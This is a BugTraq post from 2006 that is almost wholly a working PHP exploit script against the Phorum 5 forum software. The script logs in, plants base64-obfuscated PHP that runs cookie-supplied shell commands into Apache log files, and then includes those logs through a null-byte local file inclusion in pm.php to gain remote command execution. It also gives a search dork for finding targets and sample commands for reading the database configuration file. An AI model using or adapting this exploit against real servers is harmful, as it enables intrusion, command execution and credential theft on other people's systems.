BugTraq
PHORUM 5 arbitrary local inclusion Jul 13 2006 04:57PM
rgod autistici org
#!/usr/bin/php -q -d short_open_tag=on

<?

echo "PHORUM 5 arbitrary local inclusion exploit\n";

echo "by rgod rgod (at) autistici (dot) org [email concealed]\n";

echo "site: http://retrogod.altervista.org\n";

echo "dork: \"This forum powered by Phorum.\"\n\n";

/*

works with:

register_globals=On

magic_quotes_gpc=Off

*/

if ($argc<6) {

echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS\n";

echo "host: target server (ip/hostname)\n";

echo "path: path to phorum\n";

echo "user/pass: you need a valid user account\n";

echo "cmd: a shell command\n";

echo "Options:\n";

echo " -p[port]: specify a port other than 80\n";

echo " -P[ip:port]: specify a proxy\n";

echo "Examples:\n";

echo "php ".$argv[0]." a.b.c.d /phorum/ username password ls -la\n";

echo "php ".$argv[0]." a.b.c.d / username password ls -la -P1.1.1.1:8080\n";

echo "php ".$argv[0]." a.b.c.d / username password cat ./include/db/config.php -p81\n";

die;

}

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

}

return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "\r\n".$html;

}

$host=$argv[1];

$path=$argv[2];

$user=$argv[3];

$pass=$argv[4];

$cmd="";

$port=80;

$proxy="";

for ($i=5; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if (($temp<>"-p") and ($temp<>"-P"))

{$cmd.=" ".$argv[$i];}

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "[1] Login ...\r\n";

$data="forum_id=0";

$data.="&redir=http%3A%2F%2F".$host."%2Findex.php";

$data.="&username=".$user;

$data.="&password=".$pass;

$packet ="POST ".$p."login.php HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Accept: text/plain\r\n";

$packet.="Connection: Close\r\n";

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Cookie: phorum_tmp_cookie=this+will+be+destroyed+once+logged+in\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

$cookie="";

$temp=explode("Set-Cookie: ",$html);

for ($i=1; $i<=count($temp); $i++)

{

$temp2=explode(" ",$temp[$i]);

$cookie.=" ".$temp2[0];

}

if ($cookie==" ") {die("unable to login...");}

echo "cookie -> ".$cookie."\n";

echo "[2] Injecting some code in log files...\r\n";

$CODE ='echo phorum_xpl;system($_COOKIE[cmd]);echo phorum_xpl;die();';

$CODE ='<?php eval(base64_decode('.base64_encode($CODE).'));?>';

$packet="GET ".$p.$CODE." HTTP/1.1\r\n";

$packet.="User-Agent: ".$CODE."\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: close\r\n\r\n";

#debug

#echo quick_dump($packet);

sendpacketii($packet);

# fill with possible locations

$paths= array (

"../../../../../../../../../../var/log/httpd/access_log",

"../../../../../../../../../../var/log/httpd/error_log",

"../apache/logs/error.log",

"../apache/logs/access.log",

"../../apache/logs/error.log",

"../../apache/logs/access.log",

"../../../apache/logs/error.log",

"../../../apache/logs/access.log",

"../../../../apache/logs/error.log",

"../../../../apache/logs/access.log",

"../../../../../apache/logs/error.log",

"../../../../../apache/logs/access.log",

"../logs/error.log",

"../logs/access.log",

"../../logs/error.log",

"../../logs/access.log",

"../../../logs/error.log",

"../../../logs/access.log",

"../../../../logs/error.log",

"../../../../logs/access.log",

"../../../../../logs/error.log",

"../../../../../logs/access.log",

"../../../../../../../../../../etc/httpd/logs/acces_log",

"../../../../../../../../../../etc/httpd/logs/acces.log",

"../../../../../../../../../../etc/httpd/logs/error_log",

"../../../../../../../../../../etc/httpd/logs/error.log",

"../../../../../../../../../../var/www/logs/access_log",

"../../../../../../../../../../var/www/logs/access.log",

"../../../../../../../../../../usr/local/apache/logs/access_log",

"../../../../../../../../../../usr/local/apache/logs/access.log",

"../../../../../../../../../../var/log/apache/access_log",

"../../../../../../../../../../var/log/apache/access.log",

"../../../../../../../../../../var/log/access_log",

"../../../../../../../../../../var/www/logs/error_log",

"../../../../../../../../../../var/www/logs/error.log",

"../../../../../../../../../../usr/local/apache/logs/error_log",

"../../../../../../../../../../usr/local/apache/logs/error.log",

"../../../../../../../../../../var/log/apache/error_log",

"../../../../../../../../../../var/log/apache/error.log",

"../../../../../../../../../../var/log/access_log",

"../../../../../../../../../../var/log/error_log"

);

for ($i=0; $i<=count($paths)-1; $i++)

{

$a=$i+3;

echo "[".$a."] trying with $paths[$i]%00 for template argument\r\n";

$packet="GET ".$p."pm.php?1,page=1&GLOBALS[template]=".urlencode($paths[$i])."%00 HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Cookie: ".$cookie." cmd=".$cmd.";\r\n";

$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);

if (strstr($html,"phorum_xpl"))

{

echo "exploit succeeded...\n\n";

$temp=explode("phorum_xpl",$html);

echo $temp[1]; die;

}

}

//if you are here...

echo "exploit failed...";

?>

original url: http://retrogod.altervista.org/phorum5_local_incl_xpl.html

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